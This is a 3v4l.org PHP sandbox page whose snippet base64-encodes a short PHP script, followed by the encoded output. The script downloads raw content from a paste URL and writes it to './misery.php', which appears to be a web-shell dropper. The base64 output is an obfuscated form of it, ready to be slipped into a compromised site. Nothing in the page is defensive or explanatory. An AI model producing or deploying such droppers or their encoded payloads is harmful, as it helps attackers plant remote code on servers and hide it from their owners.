3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php echo base64_encode('$url=\'http://paste.neurohack.com/raw/YM77y/\';$path=\'./misery.php\';$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$data=curl_exec($ch);curl_close($ch);file_put_contents($path, $data);');
Output for 4.3.0 - 7.1.0
JHVybD0naHR0cDovL3Bhc3RlLm5ldXJvaGFjay5jb20vcmF3L1lNNzd5Lyc7JHBhdGg9Jy4vbWlzZXJ5LnBocCc7JGNoPWN1cmxfaW5pdCgkdXJsKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUix0cnVlKTskZGF0YT1jdXJsX2V4ZWMoJGNoKTtjdXJsX2Nsb3NlKCRjaCk7ZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRkYXRhKTs=